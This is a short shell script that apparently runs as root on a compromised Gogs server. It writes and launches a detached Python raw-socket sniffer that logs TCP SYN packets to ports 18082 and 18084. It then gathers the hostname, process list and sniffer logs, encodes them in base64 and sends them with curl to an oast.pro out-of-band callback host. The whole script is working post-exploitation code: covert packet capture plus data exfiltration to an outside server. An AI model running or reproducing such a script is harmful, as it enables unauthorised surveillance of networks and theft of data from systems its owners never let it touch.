| 123456789101112131415161718192021222324252627282930313233343536 |
- #!/bin/sh
- TAG="4393431"
- OUT="/root/gogs/data/tmp/local-repo/5878/_sniff_$TAG.txt"
- {
- echo "tag=$TAG host=$(hostname) date=$(date -u +%s.%N)"
- pkill -f pz_sniff.py 2>/dev/null
- cat > /root/pz_sniff.py <<'PYEOF'
- import socket, struct, time
- s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3))
- f = open('/root/pz_syn.log', 'a')
- while True:
- pkt, addr = s.recvfrom(65535)
- try:
- if len(pkt) < 34: continue
- if struct.unpack('!H', pkt[12:14])[0] != 0x0800: continue
- ip = pkt[14:]
- ihl = (ip[0] & 0xf) * 4
- if ip[9] != 6: continue
- src = socket.inet_ntoa(ip[12:16]); dst = socket.inet_ntoa(ip[16:20])
- tcp = ip[ihl:]
- sport, dport = struct.unpack('!HH', tcp[:4])
- flags = tcp[13]
- if dport in (18082, 18084) and (flags & 0x02):
- f.write('%s %s %s:%d -> %s:%d SYN\n' % (time.strftime('%Y-%m-%dT%H:%M:%S', time.gmtime()), '%.3f' % time.time(), src, sport, dst, dport)); f.flush()
- except Exception:
- pass
- PYEOF
- setsid nohup /usr/bin/python3 /root/pz_sniff.py >/root/pz_sniff.out 2>&1 < /dev/null &
- sleep 2
- echo "--- ps ---"; ps aux | grep -E "pz_sniff|pz_listener" | grep -v grep
- echo "--- sniff out ---"; cat /root/pz_sniff.out 2>&1 | head -5
- echo "--- synlog ---"; tail -5 /root/pz_syn.log 2>&1
- } > "$OUT" 2>&1
- D=$( base64 -w0 < "$OUT" 2>/dev/null | tr '+/' '-_' | tr -d '=' )
- curl -s -m 15 -o /dev/null "http://cd4547282df75cd148ebcbfcf32c8ee45.oast.pro/sniff/$TAG/$D" || true
- exit 0
|